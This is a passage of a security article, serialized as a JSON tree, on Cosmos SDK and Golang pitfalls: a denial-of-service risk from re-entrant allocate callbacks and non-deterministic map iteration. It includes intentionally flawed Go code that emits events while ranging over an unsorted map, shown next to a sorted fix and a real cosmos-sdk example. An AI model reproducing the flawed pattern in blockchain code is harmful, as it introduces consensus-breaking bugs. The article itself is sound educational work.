type":24,"tag":90,"props":79044,"children":79045},{"style":120},[79046],{"type":29,"value":714},{"type":24,"tag":90,"props":79048,"children":79049},{"style":114},[79050],{"type":29,"value":381},{"type":24,"tag":90,"props":79052,"children":79053},{"class":92,"line":574},[79054,79058,79062,79066],{"type":24,"tag":90,"props":79055,"children":79056},{"style":146},[79057],{"type":29,"value":813},{"type":24,"tag":90,"props":79059,"children":79060},{"style":114},[79061],{"type":29,"value":117},{"type":24,"tag":90,"props":79063,"children":79064},{"style":136},[79065],{"type":29,"value":79030},{"type":24,"tag":90,"props":79067,"children":79068},{"style":114},[79069],{"type":29,"value":1686},{"type":24,"tag":90,"props":79071,"children":79072},{"class":92,"line":606},[79073],{"type":24,"tag":90,"props":79074,"children":79075},{"style":114},[79076],{"type":29,"value":827},{"type":24,"tag":25,"props":79078,"children":79079},{},[79080,79082,79088,79090,79095],{"type":29,"value":79081},"As users have complete control over ",{"type":24,"tag":32,"props":79083,"children":79085},{"className":79084},[],[79086],{"type":29,"value":79087},"allocate",{"type":29,"value":79089},", there is a possibility to call back ",{"type":24,"tag":32,"props":79091,"children":79093},{"className":79092},[],[79094],{"type":29,"value":78550},{"type":29,"value":79096}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":24,"tag":25,"props":79098,"children":79099},{},[79100,79102,79109],{"type":29,"value":79101},"Additional real-world examples include ",{"type":24,"tag":69,"props":79103,"children":79106},{"href":79104,"rel":79105},"https://github.com/cosmos/cosmos-sdk/issues/16676",[73],[79107],{"type":29,"value":79108},"not returning proper values for malformed txs",{"type":29,"value":226},{"type":24,"tag":850,"props":79111,"children":79113},{"id":79112},"order-was-the-dream-of-man",[79114],{"type":29,"value":79115},"Order Was the Dream of Man",{"type":24,"tag":25,"props":79117,"children":79118},{},[79119],{"type":29,"value":79120},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":24,"tag":25,"props":79122,"children":79123},{},[79124],{"type":29,"value":79125},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":24,"tag":80,"props":79127,"children":79129},{"code":79128,"language":77994,"meta":7,"className":77995,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[79130],{"type":24,"tag":32,"props":79131,"children":79132},{"__ignoreMap":7},[79133,79166,79173,79202,79239,79268,79289,79301,79338,79346,79353,79360],{"type":24,"tag":90,"props":79134,"children":79135},{"class":92,"line":93},[79136,79140,79145,79149,79153,79157,79161],{"type":24,"tag":90,"props":79137,"children":79138},{"style":97},[79139],{"type":29,"value":34570},{"type":24,"tag":90,"props":79141,"children":79142},{"style":146},[79143],{"type":29,"value":79144}," ObjectMap",{"type":24,"tag":90,"props":79146,"children":79147},{"style":97},[79148],{"type":29,"value":51492},{"type":24,"tag":90,"props":79150,"children":79151},{"style":114},[79152],{"type":29,"value":719},{"type":24,"tag":90,"props":79154,"children":79155},{"style":146},[79156],{"type":29,"value":31478},{"type":24,"tag":90,"props":79158,"children":79159},{"style":114},[79160],{"type":29,"value":1914},{"type":24,"tag":90,"props":79162,"children":79163},{"style":146},[79164],{"type":29,"value":79165},"string\n",{"type":24,"tag":90,"props":79167,"children":79168},{"class":92,"line":200},[79169],{"type":24,"tag":90,"props":79170,"children":79171},{"emptyLinePlaceholder":16},[79172],{"type":29,"value":245},{"type":24,"tag":90,"props":79174,"children":79175},{"class":92,"line":239},[79176,79180,79185,79189,79194,79198],{"type":24,"tag":90,"props":79177,"children":79178},{"style":97},[79179],{"type":29,"value":78130},{"type":24,"tag":90,"props":79181,"children":79182},{"style":108},[79183],{"type":29,"value":79184}," EmitEntries",{"type":24,"tag":90,"props":79186,"children":79187},{"style":114},[79188],{"type":29,"value":117},{"type":24,"tag":90,"props":79190,"children":79191},{"style":136},[79192],{"type":29,"value":79193},"objectMap",{"type":24,"tag":90,"props":79195,"children":79196},{"style":146},[79197],{"type":29,"value":79144},{"type":24,"tag":90,"props":79199,"children":79200},{"style":114},[79201],{"type":29,"value":1297},{"type":24,"tag":90,"props":79203,"children":79204},{"class":92,"line":248},[79205,79209,79213,79217,79221,79225,79230,79235],{"type":24,"tag":90,"props":79206,"children":79207},{"style":636},[79208],{"type":29,"value":5434},{"type":24,"tag":90,"props":79210,"children":79211},{"style":136},[79212],{"type":29,"value":8317},{"type":24,"tag":90,"props":79214,"children":79215},{"style":114},[79216],{"type":29,"value":133},{"type":24,"tag":90,"props":79218,"children":79219},{"style":136},[79220],{"type":29,"value":40968},{"type":24,"tag":90,"props":79222,"children":79223},{"style":120},[79224],{"type":29,"value":78246},{"type":24,"tag":90,"props":79226,"children":79227},{"style":636},[79228],{"type":29,"value":79229}," range",{"type":24,"tag":90,"props":79231,"children":79232},{"style":136},[79233],{"type":29,"value":79234}," objectMap",{"type":24,"tag":90,"props":79236,"children":79237},{"style":114},[79238],{"type":29,"value":269},{"type":24,"tag":90,"props":79240,"children":79241},{"class":92,"line":258},[79242,79246,79250,79255,79259,79264],{"type":24,"tag":90,"props":79243,"children":79244},{"style":136},[79245],{"type":29,"value":27995},{"type":24,"tag":90,"props":79247,"children":79248},{"style":114},[79249],{"type":29,"value":226},{"type":24,"tag":90,"props":79251,"children":79252},{"style":136},[79253],{"type":29,"value":79254},"EventManager",{"type":24,"tag":90,"props":79256,"children":79257},{"style":114},[79258],{"type":29,"value":226},{"type":24,"tag":90,"props":79260,"children":79261},{"style":108},[79262],{"type":29,"value":79263},"EmitEvent",{"type":24,"tag":90,"props":79265,"children":79266},{"style":114},[79267],{"type":29,"value":680},{"type":24,"tag":90,"props":79269,"children":79270},{"class":92,"line":272},[79271,79276,79280,79285],{"type":24,"tag":90,"props":79272,"children":79273},{"style":136},[79274],{"type":29,"value":79275}," sdk",{"type":24,"tag":90,"props":79277,"children":79278},{"style":114},[79279],{"type":29,"value":226},{"type":24,"tag":90,"props":79281,"children":79282},{"style":108},[79283],{"type":29,"value":79284},"NewEvent",{"type":24,"tag":90,"props":79286,"children":79287},{"style":114},[79288],{"type":29,"value":680},{"type":24,"tag":90,"props":79290,"children":79291},{"class":92,"line":281},[79292,79297],{"type":24,"tag":90,"props":79293,"children":79294},{"style":1085},[79295],{"type":29,"value":79296}," \"MapContext\"",{"type":24,"tag":90,"props":79298,"children":79299},{"style":114},[79300],{"type":29,"value":748},{"type":24,"tag":90,"props":79302,"children":79303},{"class":92,"line":384},[79304,79309,79313,79318,79322,79326,79330,79334],{"type":24,"tag":90,"props":79305,"children":79306},{"style":136},[79307],{"type":29,"value":79308}," sdk",{"type":24,"tag":90,"props":79310,"children":79311},{"style":114},[79312],{"type":29,"value":226},{"type":24,"tag":90,"props":79314,"children":79315},{"style":108},[79316],{"type":29,"value":79317},"NewAttribute",{"type":24,"tag":90,"props":79319,"children":79320},{"style":114},[79321],{"type":29,"value":117},{"type":24,"tag":90,"props":79323,"children":79324},{"style":136},[79325],{"type":29,"value":73984},{"type":24,"tag":90,"props":79327,"children":79328},{"style":114},[79329],{"type":29,"value":133},{"type":24,"tag":90,"props":79331,"children":79332},{"style":136},[79333],{"type":29,"value":40968},{"type":24,"tag":90,"props":79335,"children":79336},{"style":114},[79337],{"type":29,"value":779},{"type":24,"tag":90,"props":79339,"children":79340},{"class":92,"line":420},[79341],{"type":24,"tag":90,"props":79342,"children":79343},{"style":114},[79344],{"type":29,"value":79345}," )\n",{"type":24,"tag":90,"props":79347,"children":79348},{"class":92,"line":428},[79349],{"type":24,"tag":90,"props":79350,"children":79351},{"style":114},[79352],{"type":29,"value":70148},{"type":24,"tag":90,"props":79354,"children":79355},{"class":92,"line":437},[79356],{"type":24,"tag":90,"props":79357,"children":79358},{"style":114},[79359],{"type":29,"value":612},{"type":24,"tag":90,"props":79361,"children":79362},{"class":92,"line":574},[79363],{"type":24,"tag":90,"props":79364,"children":79365},{"style":114},[79366],{"type":29,"value":827},{"type":24,"tag":25,"props":79368,"children":79369},{},[79370],{"type":29,"value":79371},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":24,"tag":5339,"props":79373,"children":79374},{},[79375],{"type":24,"tag":25,"props":79376,"children":79377},{},[79378],{"type":29,"value":79379},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":24,"tag":25,"props":79381,"children":79382},{},[79383,79385,79390],{"type":29,"value":79384},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":24,"tag":32,"props":79386,"children":79388},{"className":79387},[],[79389],{"type":29,"value":68929},{"type":29,"value":79391}," and then fetch the values using the sorted key array before emitting them.",{"type":24,"tag":80,"props":79393,"children":79395},{"code":79394,"language":77994,"meta":7,"className":77995,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n }\n}\n",[79396],{"type":24,"tag":32,"props":79397,"children":79398},{"__ignoreMap":7},[79399,79430,79437,79464,79484,79511,79547,79554,79583,79590,79625,79652,79671,79682,79726,79733,79740,79747],{"type":24,"tag":90,"props":79400,"children":79401},{"class":92,"line":93},[79402,79406,79410,79414,79418,79422,79426],{"type":24,"tag":90,"props":79403,"children":79404},{"style":97},[79405],{"type":29,"value":34570},{"type":24,"tag":90,"props":79407,"children":79408},{"style":146},[79409],{"type":29,"value":79144},{"type":24,"tag":90,"props":79411,"children":79412},{"style":97},[79413],{"type":29,"value":51492},{"type":24,"tag":90,"props":79415,"children":79416},{"style":114},[79417],{"type":29,"value":719},{"type":24,"tag":90,"props":79419,"children":79420},{"style":146},[79421],{"type":29,"value":31478},{"type":24,"tag":90,"props":79423,"children":79424},{"style":114},[79425],{"type":29,"value":1914},{"type":24,"tag":90,"props":79427,"children":79428},{"style":146},[79429],{"type":29,"value":79165},{"type":24,"tag":90,"props":79431,"children":79432},{"class":92,"line":200},[79433],{"type":24,"tag":90,"props":79434,"children":79435},{"emptyLinePlaceholder":16},[79436],{"type":29,"value":245},{"type":24,"tag":90,"props":79438,"children":79439},{"class":92,"line":239},[79440,79444,79448,79452,79456,79460],{"type":24,"tag":90,"props":79441,"children":79442},{"style":97},[79443],{"type":29,"value":78130},{"type":24,"tag":90,"props":79445,"children":79446},{"style":108},[79447],{"type":29,"value":79184},{"type":24,"tag":90,"props":79449,"children":79450},{"style":114},[79451],{"type":29,"value":117},{"type":24,"tag":90,"props":79453,"children":79454},{"style":136},[79455],{"type":29,"value":79193},{"type":24,"tag":90,"props":79457,"children":79458},{"style":146},[79459],{"type":29,"value":79144},{"type":24,"tag":90,"props":79461,"children":79462},{"style":114},[79463],{"type":29,"value":1297},{"type":24,"tag":90,"props":79465,"children":79466},{"class":92,"line":248},[79467,79472,79476,79480],{"type":24,"tag":90,"props":79468,"children":79469},{"style":97},[79470],{"type":29,"value":79471}," var",{"type":24,"tag":90,"props":79473,"children":79474},{"style":136},[79475],{"type":29,"value":23176},{"type":24,"tag":90,"props":79477,"children":79478},{"style":114},[79479],{"type":29,"value":78057},{"type":24,"tag":90,"props":79481,"children":79482},{"style":146},[79483],{"type":29,"value":79165},{"type":24,"tag":90,"props":79485,"children":79486},{"class":92,"line":258},[79487,79491,79495,79499,79503,79507],{"type":24,"tag":90,"props":79488,"children":79489},{"style":636},[79490],{"type":29,"value":5434},{"type":24,"tag":90,"props":79492,"children":79493},{"style":136},[79494],{"type":29,"value":8317},{"type":24,"tag":90,"props":79496,"children":79497},{"style":120},[79498],{"type":29,"value":78246},{"type":24,"tag":90,"props":79500,"children":79501},{"style":636},[79502],{"type":29,"value":79229},{"type":24,"tag":90,"props":79504,"children":79505},{"style":136},[79506],{"type":29,"value":79234},{"type":24,"tag":90,"props":79508,"children":79509},{"style":114},[79510],{"type":29,"value":269},{"type":24,"tag":90,"props":79512,"children":79513},{"class":92,"line":272},[79514,79518,79522,79527,79531,79535,79539,79543],{"type":24,"tag":90,"props":79515,"children":79516},{"style":136},[79517],{"type":29,"value":27140},{"type":24,"tag":90,"props":79519,"children":79520},{"style":120},[79521],{"type":29,"value":216},{"type":24,"tag":90,"props":79523,"children":79524},{"style":108},[79525],{"type":29,"value":79526}," append",{"type":24,"tag":90,"props":79528,"children":79529},{"style":114},[79530],{"type":29,"value":117},{"type":24,"tag":90,"props":79532,"children":79533},{"style":136},[79534],{"type":29,"value":22779},{"type":24,"tag":90,"props":79536,"children":79537},{"style":114},[79538],{"type":29,"value":133},{"type":24,"tag":90,"props":79540,"children":79541},{"style":136},[79542],{"type":29,"value":73984},{"type":24,"tag":90,"props":79544,"children":79545},{"style":114},[79546],{"type":29,"value":1686},{"type":24,"tag":90,"props":79548,"children":79549},{"class":92,"line":281},[79550],{"type":24,"tag":90,"props":79551,"children":79552},{"style":114},[79553],{"type":29,"value":612},{"type":24,"tag":90,"props":79555,"children":79556},{"class":92,"line":384},[79557,79562,79566,79571,79575,79579],{"type":24,"tag":90,"props":79558,"children":79559},{"style":136},[79560],{"type":29,"value":79561}," sort",{"type":24,"tag":90,"props":79563,"children":79564},{"style":114},[79565],{"type":29,"value":226},{"type":24,"tag":90,"props":79567,"children":79568},{"style":108},[79569],{"type":29,"value":79570},"Strings",{"type":24,"tag":90,"props":79572,"children":79573},{"style":114},[79574],{"type":29,"value":117},{"type":24,"tag":90,"props":79576,"children":79577},{"style":136},[79578],{"type":29,"value":22779},{"type":24,"tag":90,"props":79580,"children":79581},{"style":114},[79582],{"type":29,"value":1686},{"type":24,"tag":90,"props":79584,"children":79585},{"class":92,"line":420},[79586],{"type":24,"tag":90,"props":79587,"children":79588},{"emptyLinePlaceholder":16},[79589],{"type":29,"value":245},{"type":24,"tag":90,"props":79591,"children":79592},{"class":92,"line":428},[79593,79597,79601,79605,79609,79613,79617,79621],{"type":24,"tag":90,"props":79594,"children":79595},{"style":636},[79596],{"type":29,"value":5434},{"type":24,"tag":90,"props":79598,"children":79599},{"style":136},[79600],{"type":29,"value":3990},{"type":24,"tag":90,"props":79602,"children":79603},{"style":114},[79604],{"type":29,"value":133},{"type":24,"tag":90,"props":79606,"children":79607},{"style":136},[79608],{"type":29,"value":73984},{"type":24,"tag":90,"props":79610,"children":79611},{"style":120},[79612],{"type":29,"value":78246},{"type":24,"tag":90,"props":79614,"children":79615},{"style":636},[79616],{"type":29,"value":79229},{"type":24,"tag":90,"props":79618,"children":79619},{"style":136},[79620],{"type":29,"value":23176},{"type":24,"tag":90,"props":79622,"children":79623},{"style":114},[79624],{"type":29,"value":269},{"type":24,"tag":90,"props":79626,"children":79627},{"class":92,"line":437},[79628,79632,79636,79640,79644,79648],{"type":24,"tag":90,"props":79629,"children":79630},{"style":136},[79631],{"type":29,"value":27995},{"type":24,"tag":90,"props":79633,"children":79634},{"style":114},[79635],{"type":29,"value":226},{"type":24,"tag":90,"props":79637,"children":79638},{"style":136},[79639],{"type":29,"value":79254},{"type":24,"tag":90,"props":79641,"children":79642},{"style":114},[79643],{"type":29,"value":226},{"type":24,"tag":90,"props":79645,"children":79646},{"style":108},[79647],{"type":29,"value":79263},{"type":24,"tag":90,"props":79649,"children":79650},{"style":114},[79651],{"type":29,"value":680},{"type":24,"tag":90,"props":79653,"children":79654},{"class":92,"line":574},[79655,79659,79663,79667],{"type":24,"tag":90,"props":79656,"children":79657},{"style":136},[79658],{"type":29,"value":79275},{"type":24,"tag":90,"props":79660,"children":79661},{"style":114},[79662],{"type":29,"value":226},{"type":24,"tag":90,"props":79664,"children":79665},{"style":108},[79666],{"type":29,"value":79284},{"type":24,"tag":90,"props":79668,"children":79669},{"style":114},[79670],{"type":29,"value":680},{"type":24,"tag":90,"props":79672,"children":79673},{"class":92,"line":606},[79674,79678],{"type":24,"tag":90,"props":79675,"children":79676},{"style":1085},[79677],{"type":29,"value":79296},{"type":24,"tag":90,"props":79679,"children":79680},{"style":114},[79681],{"type":29,"value":748},{"type":24,"tag":90,"props":79683,"children":79684},{"class":92,"line":615},[79685,79689,79693,79697,79701,79705,79709,79713,79717,79721],{"type":24,"tag":90,"props":79686,"children":79687},{"style":136},[79688],{"type":29,"value":79308},{"type":24,"tag":90,"props":79690,"children":79691},{"style":114},[79692],{"type":29,"value":226},{"type":24,"tag":90,"props":79694,"children":79695},{"style":108},[79696],{"type":29,"value":79317},{"type":24,"tag":90,"props":79698,"children":79699},{"style":114},[79700],{"type":29,"value":117},{"type":24,"tag":90,"props":79702,"children":79703},{"style":136},[79704],{"type":29,"value":73984},{"type":24,"tag":90,"props":79706,"children":79707},{"style":114},[79708],{"type":29,"value":133},{"type":24,"tag":90,"props":79710,"children":79711},{"style":136},[79712],{"type":29,"value":79193},{"type":24,"tag":90,"props":79714,"children":79715},{"style":114},[79716],{"type":29,"value":719},{"type":24,"tag":90,"props":79718,"children":79719},{"style":136},[79720],{"type":29,"value":73984},{"type":24,"tag":90,"props":79722,"children":79723},{"style":114},[79724],{"type":29,"value":79725},"]),\n",{"type":24,"tag":90,"props":79727,"children":79728},{"class":92,"line":623},[79729],{"type":24,"tag":90,"props":79730,"children":79731},{"style":114},[79732],{"type":29,"value":79345},{"type":24,"tag":90,"props":79734,"children":79735},{"class":92,"line":632},[79736],{"type":24,"tag":90,"props":79737,"children":79738},{"style":114},[79739],{"type":29,"value":70148},{"type":24,"tag":90,"props":79741,"children":79742},{"class":92,"line":669},[79743],{"type":24,"tag":90,"props":79744,"children":79745},{"style":114},[79746],{"type":29,"value":612},{"type":24,"tag":90,"props":79748,"children":79749},{"class":92,"line":683},[79750],{"type":24,"tag":90,"props":79751,"children":79752},{"style":114},[79753],{"type":29,"value":827},{"type":24,"tag":25,"props":79755,"children":79756},{},[79757],{"type":29,"value":79758},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":24,"tag":1019,"props":79760,"children":79762},{"id":79761},"real-world-examples-1",[79763],{"type":29,"value":78519},{"type":24,"tag":25,"props":79765,"children":79766},{},[79767,79769,79774,79776,79782,79784,79790,79792,79798],{"type":29,"value":79768},"Real-world examples of ",{"type":24,"tag":32,"props":79770,"children":79772},{"className":79771},[],[79773],{"type":29,"value":68929},{"type":29,"value":79775}," causing determinism problems can be found ",{"type":24,"tag":69,"props":79777,"children":79780},{"href":79778,"rel":79779},"https://github.com/cosmos/cosmos-sdk/pull/12487",[73],[79781],{"type":29,"value":49407},{"type":29,"value":79783},", specifically, where the result of ",{"type":24,"tag":32,"props":79785,"children":79787},{"className":79786},[],[79788],{"type":29,"value":79789},"buildCommitInfo",{"type":29,"value":79791}," is inconsistent due to iteration over the ",{"type":24,"tag":32,"props":79793,"children":79795},{"className":79794},[],[79796],{"type":29,"value":79797},"rs.stores",{"type":29,"value":79799}," map.",{"type":24,"tag":25,"props":79801,"children":79802},{},[79803],{"type":24,"tag":69,"props":79804,"children":79807},{"href":79805,"rel":79806},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[73],[79808],{"type":29,"value":78569},{"type":24,"tag":80,"props":79810,"children":79812},{"code":79811,"language":77994,"meta":7,"className":77995,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[79813],{"type":24,"tag":32,"props":79814,"children":79815},{"__ignoreMap":7},[79816,79853,79866,79894,79928,79973,80019,80027,80034,80079,80109,80138,80145,80152,80179,80201,80221,80228],{"type":24,"tag":90,"props":79817,"children":79818},{"class":92,"line":93},[79819,79823,79827,79832,79836,79841,79845,79849],{"type":24,"tag":90,"props":79820,"children":79821},{"style":97},[79822],{"type":29,"value":78130},{"type":24,"tag":90,"props":79824,"children":79825},{"style":114},[79826],{"type":29,"value":1151},{"type":24,"tag":90,"props":79828,"children":79829},{"style":136},[79830],{"type":29,"value":79831},"rs ",{"type":24,"tag":90,"props":79833,"children":79834},{"style":120},[79835],{"type":29,"value":983},{"type":24,"tag":90,"props":79837,"children":79838},{"style":146},[79839],{"type":29,"value":79840},"Store",{"type":24,"tag":90,"props":79842,"children":79843},{"style":114},[79844],{"type":29,"value":172},{"type":24,"tag":90,"props":79846,"children":79847},{"style":108},[79848],{"type":29,"value":79789},{"type":24,"tag":90,"props":79850,"children":79851},{"style":114},[79852],{"type":29,"value":680},{"type":24,"tag":90,"props":79854,"children":79855},{"class":92,"line":200},[79856,79861],{"type":24,"tag":90,"props":79857,"children":79858},{"style":136},[79859],{"type":29,"value":79860}," version",{"type":24,"tag":90,"props":79862,"children":79863},{"style":146},[79864],{"type":29,"value":79865}," int64\n",{"type":24,"tag":90,"props":79867,"children":79868},{"class":92,"line":239},[79869,79873,79877,79881,79885,79890],{"type":24,"tag":90,"props":79870,"children":79871},{"style":114},[79872],{"type":29,"value":172},{"type":24,"tag":90,"props":79874,"children":79875},{"style":120},[79876],{"type":29,"value":983},{"type":24,"tag":90,"props":79878,"children":79879},{"style":146},[79880],{"type":29,"value":8145},{"type":24,"tag":90,"props":79882,"children":79883},{"style":114},[79884],{"type":29,"value":226},{"type":24,"tag":90,"props":79886,"children":79887},{"style":146},[79888],{"type":29,"value":79889},"CommitInfo",{"type":24,"tag":90,"props":79891,"children":79892},{"style":114},[79893],{"type":29,"value":269},{"type":24,"tag":90,"props":79895,"children":79896},{"class":92,"line":248},[79897,79902,79906,79910,79914,79918,79923],{"type":24,"tag":90,"props":79898,"children":79899},{"style":136},[79900],{"type":29,"value":79901}," storeInfos",{"type":24,"tag":90,"props":79903,"children":79904},{"style":120},[79905],{"type":29,"value":78246},{"type":24,"tag":90,"props":79907,"children":79908},{"style":114},[79909],{"type":29,"value":78057},{"type":24,"tag":90,"props":79911,"children":79912},{"style":146},[79913],{"type":29,"value":8145},{"type":24,"tag":90,"props":79915,"children":79916},{"style":114},[79917],{"type":29,"value":226},{"type":24,"tag":90,"props":79919,"children":79920},{"style":146},[79921],{"type":29,"value":79922},"StoreInfo",{"type":24,"tag":90,"props":79924,"children":79925},{"style":114},[79926],{"type":29,"value":79927},"{}\n",{"type":24,"tag":90,"props":79929,"children":79930},{"class":92,"line":258},[79931,79935,79939,79943,79947,79951,79955,79960,79964,79969],{"type":24,"tag":90,"props":79932,"children":79933},{"style":636},[79934],{"type":29,"value":5434},{"type":24,"tag":90,"props":79936,"children":79937},{"style":136},[79938],{"type":29,"value":8317},{"type":24,"tag":90,"props":79940,"children":79941},{"style":114},[79942],{"type":29,"value":133},{"type":24,"tag":90,"props":79944,"children":79945},{"style":136},[79946],{"type":29,"value":8326},{"type":24,"tag":90,"props":79948,"children":79949},{"style":120},[79950],{"type":29,"value":78246},{"type":24,"tag":90,"props":79952,"children":79953},{"style":636},[79954],{"type":29,"value":79229},{"type":24,"tag":90,"props":79956,"children":79957},{"style":136},[79958],{"type":29,"value":79959}," rs",{"type":24,"tag":90,"props":79961,"children":79962},{"style":114},[79963],{"type":29,"value":226},{"type":24,"tag":90,"props":79965,"children":79966},{"style":136},[79967],{"type":29,"value":79968},"stores",{"type":24,"tag":90,"props":79970,"children":79971},{"style":114},[79972],{"type":29,"value":269},{"type":24,"tag":90,"props":79974,"children":79975},{"class":92,"line":272},[79976,79980,79984,79988,79993,79997,80001,80006,80010,80015],{"type":24,"tag":90,"props":79977,"children":79978},{"style":636},[79979],{"type":29,"value":5667},{"type":24,"tag":90,"props":79981,"children":79982},{"style":136},[79983],{"type":29,"value":8217},{"type":24,"tag":90,"props":79985,"children":79986},{"style":114},[79987],{"type":29,"value":226},{"type":24,"tag":90,"props":79989,"children":79990},{"style":108},[79991],{"type":29,"value":79992},"GetStoreType",{"type":24,"tag":90,"props":79994,"children":79995},{"style":114},[79996],{"type":29,"value":495},{"type":24,"tag":90,"props":79998,"children":79999},{"style":120},[80000],{"type":29,"value":10951},{"type":24,"tag":90,"props":80002,"children":80003},{"style":136},[80004],{"type":29,"value":80005}," types",{"type":24,"tag":90,"props":80007,"children":80008},{"style":114},[80009],{"type":29,"value":226},{"type":24,"tag":90,"props":80011,"children":80012},{"style":136},[80013],{"type":29,"value":80014},"StoreTypeTransient",{"type":24,"tag":90,"props":80016,"children":80017},{"style":114},[80018],{"type":29,"value":269},{"type":24,"tag":90,"props":80020,"children":80021},{"class":92,"line":281},[80022],{"type":24,"tag":90,"props":80023,"children":80024},{"style":636},[80025],{"type":29,"value":80026}," continue\n",{"type":24,"tag":90,"props":80028,"children":80029},{"class":92,"line":384},[80030],{"type":24,"tag":90,"props":80031,"children":80032},{"style":114},[80033],{"type":29,"value":5740},{"type":24,"tag":90,"props":80035,"children":80036},{"class":92,"line":420},[80037,80042,80046,80050,80054,80059,80063,80067,80071,80075],{"type":24,"tag":90,"props":80038,"children":80039},{"style":136},[80040],{"type":29,"value":80041}," storeInfos",{"type":24,"tag":90,"props":80043,"children":80044},{"style":120},[80045],{"type":29,"value":216},{"type":24,"tag":90,"props":80047,"children":80048},{"style":108},[80049],{"type":29,"value":79526},{"type":24,"tag":90,"props":80051,"children":80052},{"style":114},[80053],{"type":29,"value":117},{"type":24,"tag":90,"props":80055,"children":80056},{"style":136},[80057],{"type":29,"value":80058},"storeInfos",{"type":24,"tag":90,"props":80060,"children":80061},{"style":114},[80062],{"type":29,"value":133},{"type":24,"tag":90,"props":80064,"children":80065},{"style":146},[80066],{"type":29,"value":8145},{"type":24,"tag":90,"props":80068,"children":80069},{"style":114},[80070],{"type":29,"value":226},{"type":24,"tag":90,"props":80072,"children":80073},{"style":146},[80074],{"type":29,"value":79922},{"type":24,"tag":90,"props":80076,"children":80077},{"style":114},[80078],{"type":29,"value":2221},{"type":24,"tag":90,"props":80080,"children":80081},{"class":92,"line":428},[80082,80087,80092,80096,80100,80105],{"type":24,"tag":90,"props":80083,"children":80084},{"style":136},[80085],{"type":29,"value":80086}," Name",{"type":24,"tag":90,"props":80088,"children":80089},{"style":114},[80090],{"type":29,"value":80091},": ",{"type":24,"tag":90,"props":80093,"children":80094},{"style":136},[80095],{"type":29,"value":73984},{"type":24,"tag":90,"props":80097,"children":80098},{"style":114},[80099],{"type":29,"value":226},{"type":24,"tag":90,"props":80101,"children":80102},{"style":108},[80103],{"type":29,"value":80104},"Name",{"type":24,"tag":90,"props":80106,"children":80107},{"style":114},[80108],{"type":29,"value":1384},{"type":24,"tag":90,"props":80110,"children":80111},{"class":92,"line":437},[80112,80117,80121,80125,80129,80134],{"type":24,"tag":90,"props":80113,"children":80114},{"style":136},[80115],{"type":29,"value":80116}," CommitId",{"type":24,"tag":90,"props":80118,"children":80119},{"style":114},[80120],{"type":29,"value":1833},{"type":24,"tag":90,"props":80122,"children":80123},{"style":136},[80124],{"type":29,"value":8326},{"type":24,"tag":90,"props":80126,"children":80127},{"style":114},[80128],{"type":29,"value":226},{"type":24,"tag":90,"props":80130,"children":80131},{"style":108},[80132],{"type":29,"value":80133},"LastCommitID",{"type":24,"tag":90,"props":80135,"children":80136},{"style":114},[80137],{"type":29,"value":1384},{"type":24,"tag":90,"props":80139,"children":80140},{"class":92,"line":574},[80141],{"type":24,"tag":90,"props":80142,"children":80143},{"style":114},[80144],{"type":29,"value":70025},{"type":24,"tag":90,"props":80146,"children":80147},{"class":92,"line":606},[80148],{"type":24,"tag":90,"props":80149,"children":80150},{"style":114},[80151],{"type":29,"value":612},{"type":24,"tag":90,"props":80153,"children":80154},{"class":92,"line":615},[80155,80159,80163,80167,80171,80175],{"type":24,"tag":90,"props":80156,"children":80157},{"style":636},[80158],{"type":29,"value":3510},{"type":24,"tag":90,"props":80160,"children":80161},{"style":120},[80162],{"type":29,"value":455},{"type":24,"tag":90,"props":80164,"children":80165},{"style":146},[80166],{"type":29,"value":8145},{"type":24,"tag":90,"props":80168,"children":80169},{"style":114},[80170],{"type":29,"value":226},{"type":24,"tag":90,"props":80172,"children":80173},{"style":146},[80174],{"type":29,"value":79889},{"type":24,"tag":90,"props":80176,"children":80177},{"style":114},[80178],{"type":29,"value":2221},{"type":24,"tag":90,"props":80180,"children":80181},{"class":92,"line":623},[80182,80187,80192,80197],{"type":24,"tag":90,"props":80183,"children":80184},{"style":136},[80185],{"type":29,"value":80186}," Version",{"type":24,"tag":90,"props":80188,"children":80189},{"style":114},[80190],{"type":29,"value":80191},": ",{"type":24,"tag":90,"props":80193,"children":80194},{"style":136},[80195],{"type":29,"value":80196},"version",{"type":24,"tag":90,"props":80198,"children":80199},{"style":114},[80200],{"type":29,"value":748},{"type":24,"tag":90,"props":80202,"children":80203},{"class":92,"line":632},[80204,80209,80213,80217],{"type":24,"tag":90,"props":80205,"children":80206},{"style":136},[80207],{"type":29,"value":80208}," 